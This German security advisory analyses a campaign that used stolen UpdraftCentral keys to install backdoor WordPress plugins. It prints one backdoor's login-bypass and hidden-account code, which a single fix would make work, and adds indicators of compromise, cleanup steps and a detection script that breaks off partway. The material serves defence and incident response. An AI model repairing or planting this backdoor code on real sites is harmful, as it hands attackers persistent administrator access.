Der UpdraftCentral-Client ist Teil jeder Kopie von UpdraftPlus, kostenlos wie Premium. Er wird aktiv, sobald der Betreiber die Website mit dem Dashboard verbindet. Ab dann führt die Website jeden mit dem Dashboard-Schlüssel signierten Befehl mit den Rechten des Administrators aus, der die Verbindung angelegt hat, einschließlich Upload und Aktivierung beliebiger Plugins. Der Betreiber bestätigt den Befehl nicht, und in unserem Fall hat uns nichts darauf hingewiesen. Die Schlüssel auf der Website haben kein Ablaufdatum: Die vom November 2025 funktionierten auch im Oktober 2026, und ein anderer Administrator meldet missbrauchte Schlüssel vom Februar und März 2022. Das Alter eines Schlüssels schützt also nicht. Missbraucht wurde auch der Schlüssel von Website A, angelegt am 10.10.2026. Ein anderer Administrator bemerkte, dass der Angreifer eine Testkopie einer Website mit demselben Schlüssel, aber anderer Adresse in Ruhe ließ. Der Angreifer arbeitete also offenbar mit der Liste der Websites, die nur UpdraftCentral hat.

Die Sicherheit aller verbundenen Websites hängt damit an einer einzigen Annahme: dass die privaten Dashboard-Schlüssel nicht abfließen. Sie sind abgeflossen, und der Angreifer hat von einem Ort aus innerhalb weniger Stunden zwei Websites übernommen und es bei einer dritten versucht. UpdraftPlus hat über 4 Millionen aktive Installationen. Unter den Backup-Plugins auf wordpress.org hat nur All-in-One WP Migration (5+ Millionen) mehr Installationen, und das ist vor allem ein Migrationswerkzeug. Nur ein Teil der UpdraftPlus-Nutzer verwendet UpdraftCentral, aber auch ein kleiner Anteil von 4 Millionen sind viele Websites.

Derselbe Kanal hat schon einmal versagt. Im Juni 2026 behob der Hersteller die Schwachstelle CVE-2026-10795 (CVSS 8.1), über die ein Angreifer ohne Anmeldung UpdraftCentral-Befehle fälschen und ein schädliches Plugin installieren und aktivieren konnte. Ausnutzungsversuche fangen wir in unseren Logs bis heute ab.

Was die Hintertür genau tut

Das Plugin hat fünf Dateien, Logik enthält aber nur die Hauptdatei. Hier der relevante Teil der Probe von Website A. Token und Passwort haben wir gekürzt:

define( 'LOADSTACK35C_TOKEN', 'j0j8nxxH…' );      // 32 Zeichen
define( 'LOADSTACK35C_FIELD', '_9f5696' );
define( 'LOADSTACK35C_SVC_LOGIN', 'data-ops43' );
define( 'LOADSTACK35C_SVC_PASS', 'L7sfkZMw…' );    // 22 Zeichen

final class LoadStack35c {
	private function __construct() {
		add_action( 'init', array( $this, 'handle_sync' ), 1 );
	}

	public function handle_sync() {
		if ( isset( $_GET[ self::FIELD ] ) && hash_equals( self::TOKEN, (string) $_GET[ self::FIELD ] ) ) {
			$user = get_user_by( 'login', self::SVC_LOGIN );
			if ( ! $user ) {
				$uid = wp_insert_user( array(
					'user_login'   => self::SVC_LOGIN,
					'user_pass'    => self::SVC_PASS,
					'user_email'   => self::SVC_LOGIN . '@example.org',
					'display_name' => 'Site Tools',
					'role'         => 'editor',
				) );
				if ( is_wp_error( $uid ) ) return;
				$u = new WP_User( $uid );
				$u->add_cap( 'manage_options' );
				$u->add_cap( 'install_plugins' );
				$user = get_user_by( 'id', $uid );
			}
			wp_set_current_user( $user->ID, $user->user_login );
			wp_set_auth_cookie( $user->ID, true, is_ssl() );
			wp_safe_redirect( admin_url( 'index.php' ) );
			exit;
		}
	}
}

register_activation_hook( __FILE__, function () {
	if ( ! get_option( 'load_stack_35c_sync_token' ) ) {
		update_option( 'load_stack_35c_sync_token', 'j0j8nxxH…', false );
	}
} );

LoadStack35c::instance();

So würde es funktionieren, wenn es keinen Fehler enthielte:

  1. Bei jeder Anfrage an die Website hängt es sich mit Priorität 1 an die Aktion init, also früher als die meisten anderen Plugins.
  2. Es prüft, ob die URL den Parameter ?_9f5696= enthält, und vergleicht dessen Wert mit einem 32-stelligen Token. Es vergleicht mit hash_equals, das unabhängig von einer Übereinstimmung gleich lange dauert, sodass sich das Token nicht über Antwortzeiten erraten lässt. Ohne das richtige Token passiert nichts, und die Website verhält sich normal.
  3. Mit dem richtigen Token legt es den Benutzer data-ops43 an, mit einem im Plugin hinterlegten Passwort, der E-Mail data-ops43@example.org und dem Anzeigenamen „Site Tools“.
  4. Es gibt ihm die Rolle Editor und dazu zwei einzelne Berechtigungen: manage_options und install_plugins.
  5. Es meldet den Besucher als diesen Benutzer über wp_set_auth_cookie mit „Angemeldet bleiben“ an, also mit einem 14 Tage gültigen Cookie. Das Anmeldeformular wird dabei komplett umgangen, deshalb greifen weder Zwei-Faktor-Authentifizierung noch Begrenzung der Anmeldeversuche noch der Anmeldeschutz von Wordfence.
  6. Es leitet ihn in den Admin weiter.

Die Rolle Editor mit zwei zusätzlichen Berechtigungen ist Absicht. In der Benutzerliste erscheint das Konto als Editor, nicht als Administrator, und fällt bei einer üblichen Durchsicht der Admins nicht auf. Praktisch hat es aber die volle Kontrolle über die Website:

  • install_plugins erlaubt den Upload beliebiger Plugins. Deren PHP-Dateien lassen sich auch ohne Aktivierung direkt per URL aufrufen, also beliebiger Code auf dem Server.
  • manage_options öffnet alle Einstellungen. Registrierung einschalten und die Standardrolle auf Administrator setzen genügt, und der Angreifer legt sich einen vollwertigen Admin an.
  • Ein Editor hat bei einer normalen WordPress-Installation auch unfiltered_html und kann damit JavaScript in Beiträge einfügen, das im Browser jedes Administrators läuft.

Die Hintertür hat noch eine zweite Ebene. Das angelegte Konto mit bekanntem Passwort bleibt in WordPress auch nach dem Entfernen des Plugins bestehen, und der Angreifer kann sich damit über das normale Anmeldeformular einloggen, sofern für dieses Konto keine Zwei-Faktor-Authentifizierung aktiv ist.

Der Fehler, der uns gerettet hat

Die Konstanten sind mit define() als globale Konstanten definiert (LOADSTACK35C_FIELD), der Code liest sie aber als Klassenkonstanten (self::FIELD). Die Klasse hat keine Konstanten. PHP 8 wirft deshalb beim ersten Auswerten von self::FIELD den Fehler Error: Undefined constant LoadStack35c::FIELD. Das passiert noch vor der Token-Prüfung, also bei jeder Anfrage: beim normalen Besuch, im Admin, beim Login, in der REST-API, bei Cron und in WP-CLI. Die Website fällt mit Fehler 500 aus und liefert nur Seiten aus dem Cache.

Die Installationsanfrage selbst lief erfolgreich durch. UpdraftCentral verarbeitet Befehle erst in der Aktion wp_loaded, die nach init kommt, in dieser Anfrage lief der fehlerhafte Code also nicht. Der Angreifer bekam eine Erfolgsbestätigung und erfuhr aus der Antwort nichts von dem Fehler. Erst die folgenden Anfragen stürzten ab.

Der Angreifer muss nur ein paar Zeichen korrigieren, und die nächste Welle kann funktionieren. Wenn Sie ein ähnliches „kaputtes“ Plugin finden, reparieren Sie es nicht. Eine Reparatur würde die Hintertür einschalten. Entfernen Sie es.

Weitere Details

  • Das Plugin gibt sich als gewöhnliche Erweiterung: vollständiger Header, GPL-Lizenz, Text Domain, die Beschreibung „Small maintenance toolkit: keeps option storage tidy.“ und ein erfundener Herausgeber („PixelBinder“, „Harbor Stack Labs“).
  • Die Dateien assets/public.css, assets/public.js und languages/readme.txt enthalten nur einen Kommentar. Das Plugin nutzt sie nirgends, sie sollen das Verzeichnis wie ein echtes Plugin aussehen lassen.
  • uninstall.php löscht beim Deinstallieren über den Admin die Optionen <slug>_sync_token und <slug>_setup_stamp und damit die eigenen Spuren. Die zweite Option legt der Code nirgends an, sie ist ein Überbleibsel der Vorlage.
  • Bei der Aktivierung speichert es das Token in der Option <slug>_sync_token ohne Autoload. Der Code liest sie nirgends.
  • Beide Proben stammen aus demselben Generator. Ersetzt man Namen, Tokens, Benutzernamen und Versionen durch Platzhalter, sind alle Dateien Byte für Byte identisch. Der Name folgt dem Muster wort-wort-3 Hex-Zeichen, der Parameter ist _ plus 6 Hex-Zeichen, der Benutzer wort-wort plus zwei Ziffern. Das Token hat 32 Zeichen, das Passwort 22 Zeichen (Buchstaben, Ziffern, Unterstrich).

Indikatoren einer Kompromittierung

Website AWebsite B
Plugin-Verzeichnisload-stack-35ctext-gantry-eb0
Name / Autor / VersionLoad Stack 35C / PixelBinder / 1.2.6Text Gantry Eb0 / Harbor Stack Labs / 3.9.5
URL-Parameter_9f5696_3e9caa
Benutzerdata-ops43media-staff96
Datenbankoptionload_stack_35c_sync_tokentext_gantry_eb0_sync_token
SHA-256 der Hauptdatei3c3355f7692d4951e5655683783795579467c9bf1ae2152e13b8c80e9021209fbb40f9a87cea678aa50e5286dd91c0903d6a7fc1b12391472187a0919b4d0801
SHA-256 von uninstall.php4186ae2aa0472a4e7929b21bb87f9b61866cb3790f69f4b6c9813e196955d5f04943fc21efa4b81516130f92bf4efe3b832e1bb69e499d2e42587233a0a005e9

Weitere Proben der ersten Variante haben uns andere Betroffene geschickt, weitere Namen nennt Patchstack:

  • hero-frame-2c5, Autor „CopperForge WP“, Benutzer mit E-Mail render-build21@example.org, SHA-256 der Hauptdatei a9b625496a8ec82862ded01900f720c28f111e624176df7e25be7331f22e4cc9, uninstall.php 325722876a5f8e184b88cf415900ab52c9103553bc4be502399a2272550f2111
  • card-binder-104, Version 2.6.7, Benutzer render.desk87
  • style-bridge-8f5, „Style Bridge 8F5“ 2.6.6, Autor „StoneDock Tools“, Parameter _0f907e, Benutzer data.build20, SHA-256 der Hauptdatei 0290c2baa363eac72ef2b6891bef1c9c8b4774d5b95d14f4871bde6094fdacde, uninstall.php 99a7fb44d1502938a40b3f663f4e5771b5cf741bcbaec58d7dda0b5066b5a0a5
  • media-kit-183, „Media Kit 183“ 3.7.8, Autor „AshBridge Digital“, Parameter _98a0a7, Benutzer web_maint88, SHA-256 der Hauptdatei 03301b6fc563cafe0408a7eec0fee0349188ff95ce3e5e458272ff6fb23c6a63, uninstall.php 8cdd7ab6d232976a6763df93324be7182a24427e0582fec1dd3c85fc120b8190
  • query-shelf, „Query Shelf“ 2.6.1, derselbe Fehler QueryShelf::FIELD, Name ohne die drei Hex-Zeichen am Ende
  • post-dock-776, „Post Dock 776“ 1.7.8, Autor „CommonGantry“, Parameter _5fa3f1, Benutzer site_build55, SHA-256 der Hauptdatei 8ff28a902ce6ae9897260ee8a3c90150ab4301946b4ad8f7247c6b8c9c99f321, uninstall.php 6a52fed5e4044978b68dc70bbabef127369c59ec63661e7478bd5c4ac781cf30
  • nav-hub, „Nav Hub“ 1.0.5, Autor „PixelBinder“ (derselbe wie bei load-stack-35c), Fehler NavHub::FIELD, Name ohne Hex-Zeichen am Ende
  • speed-desk, „Speed Desk“ 3.7.1, Autor „Harbor Stack Labs“, Parameter _685679, Benutzer render.maint85, 80ba1b6261e573a632451aa77485f78739fbdd13ffccaeafbbe91ee2852f8483
  • speed-kit-300, „Speed Kit 300“ 3.8.4, Autor „Nordic Toolworks“, Parameter _c4bda9, Benutzer data-team4, 0d9941f42e3c191b68f80ca0f4f1702c99ad8c6633508a6e01b82973d96a71a3
  • link-latch, „Link Latch“ 3.0.2, Autor „CommonGantry“, Parameter _b10fa0, Benutzer media.crew54, d3281d662c017882d29a7d47412c629a332aba09ac4a04489a28cbdccd7f90a8
  • script-shelf, „Script Shelf“ 1.9.2, Autor „CopperForge WP“, Parameter _697e00, Benutzer content-crew90, 7376a09d1281f27fa58c72811e4c28075ae16a353315d249e4840841cf0225f2
  • feed-case, „Feed Case“ 1.5.1, Autor „LoftStack“, Parameter _78d327, Benutzer web_ops15, 02f5338311a5b5ab443dae447fddbb8885c86f4c16cfa9bd984582c2777b5429
  • cache-jack-c7a, „Cache Jack C7A“ 2.7.3, Autor „PixelBinder“, Parameter _48c603, Benutzer render.desk2, SHA-256 der Hauptdatei 425bb1e680d57a92327c99090df1e3b69932c4ec3d9c22f105d89b101f412d72, uninstall.php 335dc74431648b713500db50d2beafda19342555ba19e37438df035f802c6017
  • Die Namen der falschen Autoren wiederholen sich über Varianten und Websites hinweg, zum Beispiel „PixelBinder“, „Harbor Stack Labs“, „CommonGantry“, „CopperForge WP“, „MetaLayer“ oder „WPBridge“. Ein Plugin eines solchen Autors, das Sie nicht installiert haben, ist fast sicher eine Hintertür.
  • Weitere von Wordfence veröffentlichte Namen: speed-press-23b, hero-bridge-6c9, site-health-6a20, db-works-7dba, cache-frame, site-engine; Benutzer site_editor784, site.crew51, web_desk9.
  • laut Patchstack zum Beispiel „Site Health Cache“, „Asset Forge 2“, „Content Helper“ und „Wp Forge“, insgesamt 99 Namen

Gemeinsame Merkmale:

  • IP-Adressen 43.250.53.42 und 2a09:bac5:4e21:2e3c::49b:9, User-Agent genau WordPress/6.4; class-udrpc.php, Anfrage POST /
  • Versuche, die Hintertüren zu benutzen, am 20.10.: IP-Adressen 178.83.37.220, 178.83.37.243, 178.94.218.31 und die Bereiche 69.33.133.x, 69.33.134.x und 69.33.144.x, User-Agent Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (ohne den Teil mit der Browserversion), Anfrage GET /?<Auslöser>=<Token>
  • Möglicherweise zusammenhängend: Seit dem 20.10. sehen wir auf unseren Websites auch Abfragen der UpdraftPlus-Version über /wp-content/plugins/updraftplus/readme.txt, oft gefolgt von POST /wp-admin/admin-ajax.php, von 107.189.14.87, 45.61.188.240 und 45.61.184.170 mit gefälschten Browser-User-Agents. Ein weiterer Administrator meldet dieselben Bereiche. Ob es derselbe Angreifer ist, wissen wir nicht.
  • im UpdraftCentral-Log die Sondierung probe.central.updraftplus.com und einige Stunden später Command received: plugin.upload_plugin
  • die Plugin-Beschreibung „Small maintenance toolkit: keeps option storage tidy.“
  • ein Benutzer mit E-Mail bei @example.org und Anzeigename „Site Tools“, mit der Rolle Editor und den Berechtigungen manage_options und install_plugins
  • der fatale Fehler Undefined constant <Klasse>::FIELD und eine WordPress-E-Mail über einen Fehler in einem Plugin, das Sie nicht kennen

Die zweite Variante: eine funktionierende Hintertür mit eigenem Administrator

Zwei weitere betroffene Administratoren haben uns diese Variante beschrieben. Der erste betreut etwa 145 Websites und fand sie auf zwei der drei getroffenen. Der Angreifer hat sie dort nicht benutzt: Es entstanden keine _uid-Option, kein Konto und keine fremde Sitzung. Der zweite fand sie auf drei der vier Websites, auf denen eine Hintertür installiert wurde, und bestätigte, dass sie funktioniert: Anders als die erste Variante hat sie keinen Fehler, der die Website abstürzen lässt. Ein weiterer Administrator hat uns die Probe boost-kit geschickt, sodass wir sie selbst analysieren konnten. Beide Beschreibungen stimmen, bis auf das Verstecken des Kontos, das nicht funktioniert.

  • Es ist eine einzelne PHP-Datei mit zufälligem Namen, der nicht dem Muster der ersten Variante folgen muss (zum Beispiel opt4fix, cache-smith). Die Beschreibung unterscheidet sich in jeder Probe, einmal lautete sie „Improves cron tasks efficiency for content sites with minimal overhead.“.
  • Zur Tarnung setzt sie bei der Aktivierung die Option <slug>_installed, plant einen täglichen Cron <slug>_maintenance, der tatsächlich abgelaufene Transients löscht, und fügt einen jQuery-Filter für AMP-Seiten hinzu.
  • Auslöser: ein Parameter, dessen Name aus 12 Hex-Zeichen besteht, und ein 32-stelliges Token, zum Beispiel ?f2b9faa21ebd=… oder ?303541c9dfd0=…&m=setup. Weitere gefundene Parameternamen: f883d260d98a, a613ff6d53aa, 6eb3d55b634e, f343ef05a88e, a67730d1b537, 2c71bff4b006, 666b564665a9.
  • Ohne den Parameter m meldet sie den Angreifer als ersten vorhandenen Administrator an und leitet in den Admin weiter. Sie legt kein Konto an, es bleiben also nur die Plugin-Datei und eine Zeile im Access-Log.
  • Der Modus m=setup legt einen vollwertigen Administrator an und speichert dessen ID in der Option <slug>_uid (zum Beispiel src_lab_uid). Der Modus m=svc meldet den Angreifer in diesem Konto an. Die Konten heißen etwa system_team850, web.tech988, cmseditor170, cms.tech644 oder web_mgr684, mit E-Mail-Adresse bei @example.com und Anzeigenamen wie „System Team“, „Web Tech“, „System Staff“, „System Ops“ oder „Cms Tech“.
  • Sie versucht, das Konto mit einem pre_user_query-Hook und einem pre_count_users-Filter zu verstecken, beide sind aber falsch geschrieben. Der pre_user_query-Hook setzt das Konto erst auf die Ausschlussliste, nachdem WordPress die SQL-Abfrage gebaut hat, und ändert das Ergebnis daher nicht. Der pre_count_users-Filter erhält statt der Zählung den Wert null und ändert nichts. Wir haben unter WordPress 7.1.3 geprüft, dass das Konto in der Benutzerliste und in der Zahl der Administratoren ganz normal erscheint.
  • Sie hat keine uninstall.php. Bei der Deaktivierung löscht sie nur die Option <slug>_installed.
  • Die Zustellung ist dieselbe wie bei der ersten Variante: Sondierung und danach plugin.upload_plugin, sowohl von 43.250.53.42 als auch von 2a09:bac5:4e21:2e3c::49b:9, in der Nacht vom 18. auf den 19. Oktober (zum Beispiel src-lab am 18.10. um 23:39 UTC, render-helper-232b am 19.10. um 0:03 UTC).

Proben (SHA-256 der Hauptdatei):

  • src-lab, „Src Lab“ 3.0.0, Autor „WPBridge“, src-lab.php 59231b0e5004672b3058b47b4b4ff2b1fa89f1961bedf1741ba285e8adbe4928
  • render-helper-232b, „Render Helper 232b“ 3.7.9
  • opt4fix, „Opt4fix“ 2.9.2, Autor „DigitalFork“, 54ca7b2da87852a5d1fd7bde644027f84557db4d45fbb25cb2d135a3497d8d5c
  • js-fix-757a, „Js Fix 757a“ 2.8.3, Autor „WPBridge“, 2cdf3f2a3f10f0e12f00f2267907d44796107ab4aececdac520bba13e012b47a
  • lazy-tool-3055, „Lazy Tool 3055“ 1.3.8, Autor „MetaLayer“, 1821a58e2a851acd1a608a77ce2f77817a0b7b6ef344b9889c8f8728e62969ec
  • cache-smith, „Cache Smith“ 1.3.1, Autor „ToolBelt WP“, 43dc88fd18501be3dbd6d7f1755e77386d081dd41cef82bc514d39991ae69c49
  • boost-kit, „Boost Kit“ 2.9.3, Autor „PixelForge“, Beschreibung „Simple database queries management with automatic cleanup routines.“, fd664098cf189698e730b94fe1ea9f4425738f1be4bb9bd19eb38e14dbdf72e1
  • fast2engine, „Fast2engine“ 1.6.9, Autor „CodeBarn“, Beschreibung „Reliable transient storage maintenance companion for site owners.“, Konto wp.tech506@example.com, 0f194a46d99a8180908a55d1ae9d5bb51e9257e68ba10312ce030b8a5cd2c8dd
  • defer-engine, „Defer Engine“ 3.3.1, Autor „SiteCraft Labs“, Beschreibung „Fine-tunes script loading delivery to reduce load times on busy sites.“, Konto media-mgr138, 87cb01de622d0108b60d4f3d6663935a7b53fd17b6b82b53a26e47a5b522dc91
  • minify-tool-bf90, „Minify Tool Bf90“ 2.9.8, Autor „MetaLayer“, Beschreibung „Improves asset loading efficiency for content sites with minimal overhead.“, Konto pageeditor85, ca5ba1b02d4f1802c8182e7a71a4668959f42b501c523864c48dfdfc03ad54e8

So finden Sie sie: Version 3 des Prüfskripts erkennt Plugin-Dateien an bekannten Zeichenketten wie „keep service accounts out of the main user list“ und an ihrem Code (Anmeldung per wp_set_auth_cookie nach hash_equals auf einen Wert aus der URL, Verstecken per pre_user_query und pre_count_users), prüft die Optionen <slug>_uid und <slug>_installed und liest die Benutzer direkt aus der Datenbank. Sie durchsucht auch wp-content/upgrade/, wo das entpackte Plugin liegen bleibt, selbst wenn die Installation fehlschlug. Prüfen Sie das Access-Log wie unter „Was Sie jetzt tun sollten“ beschrieben.

Die dritte Variante: eine minimale Hintertür

Derselbe Administrator fand auch das Plugin site-health-364f („Site Health 364F“, Version 1.0, Beschreibung „Maintenance helper.“, ohne Autor). Es ist eine einzelne Datei mit 673 Bytes ohne jede Tarnung:

  • Bei der Aktivierung speichert sie die Option site_health_364f_ver.
  • Auslöser: der Parameter 83e590bb7e9b mit einem 32-stelligen Token, das direkt im Code steht.
  • Sie meldet den Angreifer als ersten vorhandenen Administrator an und leitet in den Admin weiter. Sie legt kein Konto an.
  • SHA-256 von site-health-364f.php: 056db22ebb8b1c0036a992ecf9c37c7f868b1eab68812445eed29062fc2307fa

Außer dem Plugin hinterlässt sie nur eine Zeile im Access-Log, die der grep-Befehl aus „Was Sie jetzt tun sollten“ findet. Das Prüfskript erkennt sie ab Version 4.

Ein weiterer Administrator fand eine versteckte Abwandlung davon, site-health-cache („Site Health Cache“ 1.0.0, ohne Beschreibung und Autor, Auslöser 38af88274bf8, Option sh_cache_ver, SHA-256 fd37eda3283416c568d53dd437f190341221138d8efabc7437e983b09946f9dd). Ein all_plugins-Filter entfernt sie aus der Plugin-Liste und ein pre_update_option_recently_activated-Filter aus der Liste der kürzlich aktivierten Plugins, sodass Sie sie im Admin nicht sehen, obwohl sie aktiv ist. Das Prüfskript findet sie auf der Festplatte. Ein weiterer Administrator fand dieselbe Abwandlung mit anderem Auslöser (9c37ef099b7b, SHA-256 2fc98e80960d196fa5b70ffa8c76ee5332c9d6c60465fe2e38ab2c597c357205).

Was tun, wenn Sie sie finden

  1. Falls noch nicht geschehen, entfernen Sie die UpdraftCentral-Verbindung wie unter „Was Sie jetzt tun sollten“ beschrieben. Sonst kann der Angreifer eine reparierte Version der Hintertür schicken.
  2. Deaktivieren Sie das Plugin und verschieben Sie es aus dem Web-Verzeichnis. Wenn Sie es als Beweis behalten wollen, löschen Sie es nicht über den Admin, denn uninstall.php löscht seine Optionen.
  3. Löschen Sie die Optionen der Hintertür (<slug>_sync_token, <slug>_uid, <slug>_installed, <slug>_ver) und das Konto, das sie angelegt hat.
  4. Prüfen Sie die Benutzer mit dem Prüfskript unten. Hat die Hintertür funktioniert, existiert also ihr Konto oder zeigt das Access-Log eine Anfrage mit ihrem Parameter, betrachten Sie die Website als vollständig kompromittiert. Der Angreifer könnte weitere Plugins oder eine Webshell hochgeladen und Dateien oder die Datenbank verändert haben. Stellen Sie die Website aus einem Backup von vor dem 17. Oktober wieder her, vergleichen Sie die Dateien mit einer sauberen Installation und gehen Sie alle Benutzer mit zusätzlichen Berechtigungen durch.
  5. Ändern Sie die Administrator-Passwörter und das Passwort des UpdraftCentral-Cloud-Kontos, beenden Sie alle angemeldeten Sitzungen und aktivieren Sie Zwei-Faktor-Authentifizierung. UpdraftPlus Premium kann das Passwort des teamupdraft.com-Kontos so in der Datenbank speichern, wie Sie es eingegeben haben (Option updraftplus-addons_options). Kam der Angreifer in den Admin oder an die Datenbank, betrachten Sie dieses Passwort als kompromittiert.
  6. Überlegen Sie, ob Sie die Fernverwaltung überhaupt brauchen. Wenn ja, legen Sie den Schlüssel unter einem Konto ohne das Recht an, Plugins zu installieren, sofern Sie das aus der Ferne nicht benötigen. Auf Website C hat genau dieser Zufall den Angriff gestoppt.

Prüfskript

Das Skript prüft fünf Dinge: ob die Website mit UpdraftCentral verbunden ist, was die Website über UpdraftCentral empfangen hat, ob die Verzeichnisse plugins, mu-plugins und upgrade Dateien der Hintertür enthalten, ob ihre Optionen in der Datenbank stehen und ob ihr Konto oder ein anderer Benutzer mit unerwarteten Rechten existiert. Version 3 erkennt die Hintertür auch an ihrem Code und findet so auch umbenannte Proben der funktionierenden Variante mit anderer Beschreibung, prüft die Optionen <slug>_uid und <slug>_installed, liest die Benutzer direkt aus der Datenbank und meldet Administratoren, die seit dem 17. Oktober angelegt wurden. Version 4 erkennt zusätzlich die minimale dritte Variante am Token, das direkt in ihrem Code steht. Version 5 meldet als [WARN] auch andere Plugins, die Besucher anhand eines URL-Parameters anmelden. Darauf hat uns ein Administrator gebracht, der auf einer Website eine ältere, mit dieser Kampagne nicht zusammenhängende Hintertür doctor-connectivity-query fand, aktiv seit Juni. Sie versteckt sich aus der Plugin-Liste und führt ohne Anmeldung beliebigen Code aus. Konten bei @example.com ohne Administratorrechte, die vor dem 17. Oktober angelegt wurden, etwa von Bots registrierte Shop-Kunden, meldet Version 5 nur noch als [WARN]. Version 6 findet auch übrig gebliebene Optionen der ersten Variante, wenn der Plugin-Name nicht auf drei Hex-Zeichen endet, etwa query_shelf_sync_token. Version 7 weist darauf hin, wenn es gar kein UpdraftCentral-Log gibt, etwa nach dem Entfernen von UpdraftPlus, statt es als sauber zu melden. Version 8 warnt auch vor Plugins, die sich aus der Plugin-Liste verstecken. Version 9 meldet auch UpdraftPlus-Migrator-Schlüssel. Version 10 warnt auch vor einem in der Datenbank gespeicherten Passwort des teamupdraft.com-Kontos.

Auf Website A gibt es nach dem Entfernen der Hintertür aus:

[OK]    No active UpdraftCentral connection.
[WARN]  2026-10-19 00:14 UTC  43.250.53.42  probe for UpdraftCentral (UA: WordPress/6.4; class-udrpc.php).
[ALERT] 2026-10-19 02:14 UTC  43.250.53.42  "Command received: plugin.upload_plugin" (UA: WordPress/6.4; class-udrpc.php). A plugin or theme was pushed to this site.
[OK]    No backdoor plugin files found.
[OK]    No backdoor options in the database.
[OK]    No backdoor accounts or hidden admin-level users.

Sie können das Skript auch direkt herunterladen:

curl -o check-updraftcentral.php https://nethemba.com/wp-content/uploads/2026/10/check-updraftcentral.txt

SHA-256 des Skripts: cedb723aeed2d56c942a33a26d9ee3390c3ad02f1cfddd098cfbc8d5ea7dd935. Der vollständige Code:

<?php
/**
 * Nethemba: check for the UpdraftCentral backdoor campaign of October 2026.
 * Read-only. It changes nothing on the site.
 * v2: also detects the second variant, which creates a hidden administrator.
 * v3: catches its renamed samples by code and by <slug>_uid / <slug>_installed options, and checks wp-content/upgrade.
 * v4: also detects the minimal variant: a token written into the code, compared with a URL parameter, then a login.
 * v5: warns about any plugin that logs visitors in from a URL parameter; @example.com accounts without
 *     admin rights that existed before the attack (e.g. shop customers) are a warning, not an alert.
 * v6: also finds first-variant options whose plugin name has no hex suffix (e.g. query_shelf_sync_token).
 * v7: says so when there is no UpdraftCentral log at all (e.g. UpdraftPlus was removed) instead of reporting it as clean.
 * v8: warns about plugins that hide themselves from the WordPress plugin list.
 * v9: also reports UpdraftPlus Migrator keys, which let another site send backup files over the same channel.
 * v10: warns when UpdraftPlus Premium keeps the teamupdraft.com account password in the database.
 *
 * Run in the WordPress root directory:
 *   wp eval-file check-updraftcentral.php --skip-plugins --skip-themes
 *
 * --skip-plugins matters: an installed copy of the backdoor crashes every request,
 * including WP-CLI, unless plugins are skipped.
 */

$alerts = 0;
$warnings = 0;
$report = function ( $level, $message ) use ( &$alerts, &$warnings ) {
	if ( 'ALERT' === $level ) $alerts++;
	if ( 'WARN' === $level ) $warnings++;
	echo str_pad( "[$level]", 8 ), $message, "\n";
};

echo "UpdraftCentral backdoor check for ", get_option( 'siteurl' ), "\n\n";

// 1. Is the site connected to UpdraftCentral?
$keys = get_option( 'updraft_central_localkeys' );
if ( is_array( $keys ) && $keys ) {
	foreach ( $keys as $id => $key ) {
		$report( 'WARN', sprintf(
			'UpdraftCentral connection is active: key %s, created %s by user "%s". Delete it now.',
			$id,
			isset( $key['created'] ) ? gmdate( 'Y-m-d', $key['created'] ) : '?',
			isset( $key['extra_info']['user_login'] ) ? $key['extra_info']['user_login'] : '?'
		) );
	}
} else {
	$report( 'OK', 'No active UpdraftCentral connection.' );
}
// UpdraftPlus Premium may keep the teamupdraft.com account password as entered until token login succeeds.
$addons = get_option( 'updraftplus-addons_options' );
if ( ! is_array( $addons ) && is_multisite() ) $addons = get_site_option( 'updraftplus-addons_options' );
if ( is_array( $addons ) && ! empty( $addons['password'] ) ) {
	$report( 'WARN', 'UpdraftPlus keeps the teamupdraft.com account password for ' . ( isset( $addons['email'] ) ? $addons['email'] : '?' ) . ' in the database (option updraftplus-addons_options). Remove it and change the password if any foreign code may have run on this site.' );
}
// Migrator keys use the same UDRPC channel to receive backup files from another site.
$migrator_keys = get_option( 'updraft_migrator_localkeys' );
foreach ( is_array( $migrator_keys ) ? $migrator_keys : array() as $hash => $key ) {
	$report( 'WARN', sprintf(
		'UpdraftPlus Migrator key "%s" is active: another site can send backup files here with it. Delete it unless you are migrating right now.',
		isset( $key['name'] ) ? $key['name'] : $hash
	) );
}

// 2. What the site received over UpdraftCentral.
$log = get_site_option( 'updraftcentral_client_log' );
$log_hits = 0;
foreach ( is_array( $log ) ? $log : array() as $entry ) {
	$message = isset( $entry['message'] ) ? $entry['message'] : '';
	$agent   = isset( $entry['http_user_agent'] ) ? $entry['http_user_agent'] : '';
	$when    = isset( $entry['time'] ) ? gmdate( 'Y-m-d H:i', $entry['time'] ) . ' UTC' : '?';
	$ip      = isset( $entry['remote_ip'] ) ? $entry['remote_ip'] : '?';
	if ( preg_match( '/upload_(plugin|theme)/', $message ) ) {
		$report( 'ALERT', "$when  $ip  \"$message\" (UA: $agent). A plugin or theme was pushed to this site." );
		$log_hits++;
	} elseif ( false !== strpos( $message, 'probe.central.updraftplus.com' ) ) {
		$report( 'WARN', "$when  $ip  probe for UpdraftCentral (UA: $agent)." );
		$log_hits++;
	} elseif ( 'Command received' === substr( $message, 0, 16 ) && preg_match( '/class-udrpc\.php$/', $agent ) ) {
		$report( 'ALERT', "$when  $ip  \"$message\" from a client that is not UpdraftCentral Cloud (UA: $agent)." );
		$log_hits++;
	}
}
if ( ! is_array( $log ) || ! $log ) {
	$report( 'INFO', 'There is no UpdraftCentral log on this site (no command ever arrived, or UpdraftPlus was removed). Check the access log for POST requests with the User-Agent "WordPress/6.4; class-udrpc.php".' );
} elseif ( ! $log_hits ) {
	$report( 'OK', 'UpdraftCentral log shows no plugin uploads, probes or foreign clients.' );
}

// 3. Backdoor plugins in plugins and mu-plugins, plus leftovers of pushed plugins in wp-content/upgrade
// (a push that failed to install still leaves the unpacked plugin there).
$is_backdoor = function ( $code ) {
	return false !== strpos( $code, 'keeps option storage tidy' )
		|| false !== strpos( $code, 'Improves cron tasks efficiency' )
		|| false !== strpos( $code, 'keep service accounts out of the main user list' )
		|| ( false !== strpos( $code, "_sync_token'" ) && false !== strpos( $code, 'wp_set_auth_cookie' ) && false !== strpos( $code, 'hash_equals' ) )
		|| ( false !== strpos( $code, 'pre_user_query' ) && false !== strpos( $code, 'pre_count_users' ) && false !== strpos( $code, 'wp_set_auth_cookie' ) )
		|| ( preg_match( '/hash_equals\(\s*[\'"][A-Za-z0-9_-]{20,}[\'"]/', $code ) && false !== strpos( $code, '$_GET' ) && false !== strpos( $code, 'wp_set_auth_cookie' ) );
};
// Any plugin that logs visitors in based on a URL parameter, however it compares the key (older backdoors use ===).
